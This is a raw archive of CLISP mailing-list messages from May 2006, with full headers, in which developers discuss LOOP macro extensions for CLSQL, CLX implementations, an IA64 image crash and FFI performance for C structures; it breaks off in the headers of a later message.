Tue May 23 02:31:11 2006 X-Original-Date: Tue, 23 May 2006 11:29:54 +0200 Don Cohen asks: > Lou Vanek: > Clsql's loop macro doesn't work on Clisp (but it's not needed). >What particular thing doesn't work and what is it used for? Some implementation of the LOOP macro provide for user defined iteration clauses. E.g. the very old MIT-LOOP code has IIRC DEFINE/ADD(?)-LOOP-PATH to define this. The user's definition looks much like a setf-expander and returns IIRC seven values: snippets of code that the LOOP macro will insert in various places of its extension. CLSQL uses this extension where available (e.g. cmucl, Lispworks AFAIK). Nobody ever wrote this for CLISP's LOOP. It may be a very interesting exercise in macrology for an amateur Lispnik not scared by setf expanders. Contributions are welcome. [I wonder whether it would be a good idea to post CLISP-related Lisp jobs on Cliki, like SBCL people seem to do.] Regards, Jorg Hohle. From sds@podval.org Tue May 23 05:57:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiWRa-0001x8-Gd for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 05:57:02 -0700 Received: from sccrmhc12.comcast.net ([63.240.77.82]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiWRY-00069f-00 for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 05:57:02 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (sccrmhc12) with ESMTP id <20060523125651012005e1t8e>; Tue, 23 May 2006 12:56:51 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 510C5128436; Tue, 23 May 2006 08:56:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Joerg-Cyril Hoehle's message of "Tue, 23 May 2006 11:29:54 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: LOOP extension Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 05:58:01 2006 X-Original-Date: Tue, 23 May 2006 08:56:51 -0400 > * Hoehle, Joerg-Cyril [2006-05-23 11:29:54 +0200]: > > [I wonder whether it would be a good idea to post CLISP-related Lisp > jobs on Cliki, like SBCL people seem to do.] don't forget to announce it here too. and note http://clisp.cons.org/wanted.html -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://truepeace.org http://openvotingconsortium.org http://jihadwatch.org http://memri.org http://ffii.org http://dhimmi.com http://honestreporting.com There is an exception to every rule, including this one. From werner@suse.de Tue May 23 07:12:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiXd3-0003TY-EI for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 07:12:57 -0700 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FiXd1-0004DE-VX for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 07:12:57 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id B6539EDFA for ; Tue, 23 May 2006 16:12:51 +0200 (CEST) Resent-From: werner@suse.de Resent-Date: Tue, 23 May 2006 16:12:51 +0200 Resent-Message-ID: <20060523141251.GA30169@wotan.suse.de> Resent-To: clisp-list@lists.sourceforge.net X-Original-To: werner@wotan.suse.de From: "Dr. Werner Fink" To: clisp-list@sourceforge.net Message-ID: <20060523140923.GA19085@boole.suse.de> Mail-Followup-To: clisp-list@sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.5.9i X-junkfilter: 20020307 X-Spammer: [white-User: To: clisp-list@sourceforge.net] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] 2.38 crash on binary of savememinit on IA64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 07:13:05 2006 X-Original-Date: Tue, 23 May 2006 16:09:23 +0200 Just to say it, the binary "foo" crashes in IA64 done during `make check' or `make check-exec-image'. The last successfull read is the read of the rheader in spvw_memfile.d:1518 with the size of 16, the next read with 128MB fails in unixaux.d:352. With this extrem large read, the mmaps of executable are broken and the runtime linker is fooled by this. Is there an approach to do the clisp object stuff hardware independent, that means that the layout of mappings of the architecture can be changed on the fly without breaking clisp? Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From werner@suse.de Tue May 23 07:26:23 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiXq0-00056b-3V for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 07:26:20 -0700 Received: from cantor2.suse.de ([195.135.220.15] helo=mx2.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FiXpy-000829-Oq for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 07:26:20 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id 3EAFC1EB91 for ; Tue, 23 May 2006 16:26:15 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" Message-ID: <20060523142615.GA6499@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" References: <20060523140923.GA19085@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20060523140923.GA19085@boole.suse.de> User-Agent: Mutt/1.5.6i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.38 crash on binary of savememinit on IA64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 07:27:04 2006 X-Original-Date: Tue, 23 May 2006 16:26:15 +0200 On Tue, May 23, 2006 at 04:09:23PM +0200, Dr. Werner Fink wrote: > Just to say it, the binary "foo" crashes in IA64 done during > `make check' or `make check-exec-image'. > The last successfull read is the read of the rheader in > spvw_memfile.d:1518 with the size of 16, the next read with > 128MB fails in unixaux.d:352. With this extrem large read, > the mmaps of executable are broken and the runtime linker is > fooled by this. OK, with an unlimited stack size I get the message ./foo: initialization file `/usr/src/packages/BUILD/clisp-2.38/ia64-suse-linux/foo' was not created by this version of CLISP runtime which is not that what I want ;) > > Is there an approach to do the clisp object stuff hardware > independent, that means that the layout of mappings of the > architecture can be changed on the fly without breaking clisp? This question still remains. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From don-sourceforge-xx@isis.cs3-inc.com Tue May 23 07:59:36 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiYMC-0001Ai-Q2 for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 07:59:36 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiYMA-0000fH-Np for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 07:59:37 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 4F7CF1A818F; Tue, 23 May 2006 07:59:31 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17523.9043.216877.601499@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] LOOP extension (was: sql libraries) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 08:00:03 2006 X-Original-Date: Tue, 23 May 2006 07:59:31 -0700 Hoehle, Joerg-Cyril writes: > Some implementation of the LOOP macro provide for user defined > iteration clauses. E.g. the very old MIT-LOOP code has IIRC > DEFINE/ADD(?)-LOOP-PATH to define this. The user's definition > looks much like a setf-expander and returns IIRC seven values: > snippets of code that the LOOP macro will insert in various places > of its extension. > > CLSQL uses this extension where available (e.g. cmucl, Lispworks AFAIK). To me the obvious solution is that CLSQL should come with its own copy of the loop macro for use only in its own package(s). This is what ap5 does. I don't think that one piece of software ought to change the way the loop macro (or other shared functionality) works in others. I never understood why clisp (or any other common lisp implementation) reimplemented loop. From sds@podval.org Tue May 23 08:04:40 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiYR1-0001tn-9t for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 08:04:35 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FiYR1-0003sj-Bo for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 08:04:35 -0700 Received: from rwcrmhc12.comcast.net ([216.148.227.152]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiYQy-00054t-R8 for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 08:04:35 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc12) with ESMTP id <20060523150423m1200q0qjje>; Tue, 23 May 2006 15:04:23 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id B35C212855C; Tue, 23 May 2006 11:04:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17523.9043.216877.601499@isis.cs3-inc.com> (Don Cohen's message of "Tue, 23 May 2006 07:59:31 -0700") References: <17523.9043.216877.601499@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: LOOP extension Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 08:05:17 2006 X-Original-Date: Tue, 23 May 2006 11:04:22 -0400 > * Don Cohen [2006-05-23 07:59:31 -0700]: > > I never understood why clisp (or any other common lisp implementation) > reimplemented loop. 1. licensing 2. existing implementations contain various mutually incompatible bugs 3. hutzpa -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://memri.org http://ffii.org http://camera.org http://pmw.org.il http://palestinefacts.org http://mideasttruth.com http://iris.org.il Just because you're paranoid doesn't mean they AREN'T after you. From don-sourceforge-xx@isis.cs3-inc.com Tue May 23 08:31:48 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiYrH-0005XB-UW for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 08:31:43 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FiYrH-0006Dq-Vd for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 08:31:43 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiYrG-0004tD-8Q for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 08:31:43 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id E20B91A818F; Tue, 23 May 2006 08:31:37 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17523.10969.751239.673076@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <17523.9043.216877.601499@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: LOOP extension Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 08:32:17 2006 X-Original-Date: Tue, 23 May 2006 08:31:37 -0700 Sam Steingold writes: > > * Don Cohen [2006-05-23 07:59:31 -0700]: > > > > I never understood why clisp (or any other common lisp implementation) > > reimplemented loop. > > 1. licensing What do you require in the way of licensing? The version I use seems to require only that the notices (MIT, Symbolics) remain in the code. What's wrong with that? > 2. existing implementations contain various mutually incompatible bugs You're still allowed to maintain your version of the standard code. If others use that same code then you get to share that work with them. > 3. hutzpa This one I understand. Perhaps I simply assign a smaller value to it than you do. The value must be pretty high to justify the work of writing and maintaining your own loop. If you used the MIT code you might still have some maintenance, (I bet not much) but you would avoid issues such as the one that started this discussion. From Joerg-Cyril.Hoehle@t-systems.com Tue May 23 09:49:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fia4X-00088E-N3 for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 09:49:29 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fia4T-0000MC-MW for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 09:49:28 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 18:49:13 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 23 May 2006 18:49:12 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] MIT-CLX (was: LOOP extension) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 09:50:03 2006 X-Original-Date: Tue, 23 May 2006 18:48:52 +0200 Hi, [Don Cohen wonders why CLISP has its own implementation of LOOP.] Oh well, we had those exact same arguments 5 or 8 years ago (was it 1998?) in this mailing list. I'm quite in favour of multiple implementations of specifications (given that somebody already wrote the code). Diversity and the "Proposed ANSI clarifications" page on Cliki show that it helps to uncover holes in specifications. A single implementation is not enough for that. (Pythonists wouldn't care.) >If others use that same code then you get to share that work with them. Indeed, and pardon me for changing the subject one more time, I feel that CLX is a good candidate for this. 1. I forgot the reasons why there's both MIT-CLX and Gilbert Baumann's NEW-CLX in the CLISP source tree. Are there some applications that only work with one of them? 2. I know that Christophe Rhodes said recently in c.l.l that he considers sbcl's CLX to be the most bug free and improved one, given the number of CVS changes that it has received. So there are at least 4 versions/releases of CLX being used (2 in CLISP, 1 in sbcl and a different one, according to Christophe IIRC in cmucl). That's quite different from LOOP, as 3 out of 4 CLX come from the same source tree. A merge of the MIT-derivative CLX would be a useful task IMHO. Clearly, I'm not qualified to judge this integration work as I've never ever used CLX (well, perhaps via Garnet, but it's so long ago). Regards, Jorg Hohle. From sds@podval.org Tue May 23 09:58:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiaCj-0000pH-Pf for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 09:57:58 -0700 Received: from rwcrmhc11.comcast.net ([204.127.192.81]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiaCd-0002ZQ-KN for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 09:57:58 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc11) with ESMTP id <20060523165739m11004c5kle>; Tue, 23 May 2006 16:57:39 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id BD2871285D3; Tue, 23 May 2006 12:57:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Joerg-Cyril Hoehle's message of "Tue, 23 May 2006 18:48:52 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: MIT-CLX Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 23 09:59:02 2006 X-Original-Date: Tue, 23 May 2006 12:57:38 -0400 > * Hoehle, Joerg-Cyril [2006-05-23 18:48:52 +0200]: > > 1. I forgot the reasons why there's both MIT-CLX and Gilbert Baumann's > NEW-CLX in the CLISP source tree. Are there some applications that > only work with one of them? NEW-CLX, being implemented in C, is faster than MIT-CLX. it was written to run garnet reasonably fast and indeed that is just about the only thing it has been tested with. it is incomplete though, and we do need a C/Xlib/Lisp/CLX expert to finish it and make sure it is fully compatible. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://iris.org.il http://pmw.org.il http://thereligionofpeace.com http://jihadwatch.org http://palestinefacts.org http://memri.org When we write programs that "learn", it turns out we do and they don't. From perpetualstranger-clisp@yahoo.com Fri May 19 08:10:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh6cE-0003qx-Px for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 08:10:10 -0700 Received: from web81209.mail.mud.yahoo.com ([68.142.199.113]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Fh6cB-0000j2-58 for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 08:10:07 -0700 Received: (qmail 67838 invoked by uid 60001); 19 May 2006 15:09:59 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=WDYVyjlpYUZwetOYDiNXzdj9rv9rN6hI1WBvwrpnvwBAPpwIy7/g/HuwJCqe8LKFF3ySzRle+usRbtBSOzB12fQeF/DM8owYCY1z2B3wS9/I10Z83nyZU86IutC/ieMfVIyfuWeT2rrGA1wpsflBUKSSdAtv8UPeZ477eg1TQU8= ; Message-ID: <20060519150959.67836.qmail@web81209.mail.mud.yahoo.com> Received: from [70.132.13.33] by web81209.mail.mud.yahoo.com via HTTP; Fri, 19 May 2006 08:09:59 PDT From: Will Reply-To: perpetualstranger-clisp@yahoo.com Subject: Re: [clisp-list] Accessing C structures w/ FFI To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 24 07:54:02 2006 X-Original-Date: Fri, 19 May 2006 08:09:59 -0700 (PDT) Joerg, Thanks for the response. I sent a follow-up to my original message that hasn't filtered through to the list yet. In short, I tried > Please try (setf (slot sys_var 'n) 3) and also the exceptionally messy array accessor (setf (element (deref (cast (slot sys_var 'vals) '(c-ptr (c-array double-float (slot sys_var 'n))))) 0) 10d0) I then compared the speed of these to indirect access of the memory through foreign C functions. I found that (slot sys_var 'n) was substantially slower than calling a C function that returns or sets the value of sys_var.n on the other side. For that extreme array example, it was no contest whatsoever. > As you see, it's different from the concept where a > CLOS instance mirrors a foreign location in a > proxy-like way. With the FFI, there's no mirror, > just a one-time snapshot copy. My program requires a sizable amount of interaction between Lisp and C through this data structure, but copying the entire object back and forth each time seems too extreme. On the plus side, I ran a test comparing to an original "all C" solution to the mixed Lisp and C version and the the penalty was only an extra 1/6th of the original's time (which amounts to 0.001s). I think that's entirely due to the speed hit for accessing slots through a C function (generally 4 times slower than a direct access by CLISP on a similar Lisp structure). It may seem picky to be concerned about 1/1000th of a second, but in some cases this operation will be called a few thousand times, if not more, while a user waits to see the response. Cheers~ Will From pjb@informatimago.com Wed May 24 08:02:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fius7-0000WQ-IA for clisp-list@lists.sourceforge.net; Wed, 24 May 2006 08:02:03 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fius5-00080e-Sj for clisp-list@lists.sourceforge.net; Wed, 24 May 2006 08:02:03 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 8E018586AB; Wed, 24 May 2006 17:01:56 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2380C582FA; Wed, 24 May 2006 17:01:54 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id ECD3F87D3; Wed, 24 May 2006 17:01:53 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17524.30049.935194.361442@thalassa.informatimago.com> To: perpetualstranger-clisp@yahoo.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Accessing C structures w/ FFI In-Reply-To: <20060519150959.67836.qmail@web81209.mail.mud.yahoo.com> References: <20060519150959.67836.qmail@web81209.mail.mud.yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 24 08:03:01 2006 X-Original-Date: Wed, 24 May 2006 17:01:53 +0200 Will writes: > [...] It may seem picky to be > concerned about 1/1000th of a second, but in some > cases this operation will be called a few thousand > times, if not more, while a user waits to see the > response. Perhaps you should separate more the C from the lisp. Have a smaller interface! Leave the C data being accessed by the C code, and the lisp data being acceed by the lisp code, and don't try to cross the border so often. -- __Pascal Bourguignon__ http://www.informatimago.com/ "Debugging? Klingons do not debug! Our software does not coddle the weak." From vhtvwo@breault.com Sat May 27 10:34:39 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fk2gR-0003bK-Pk for clisp-list@lists.sourceforge.net; Sat, 27 May 2006 10:34:39 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fk2gR-0004cQ-GL for clisp-list@lists.sourceforge.net; Sat, 27 May 2006 10:34:39 -0700 Received: from [201.236.40.201] (helo=breault.com) by mail.sourceforge.net with smtp (Exim 4.44) id 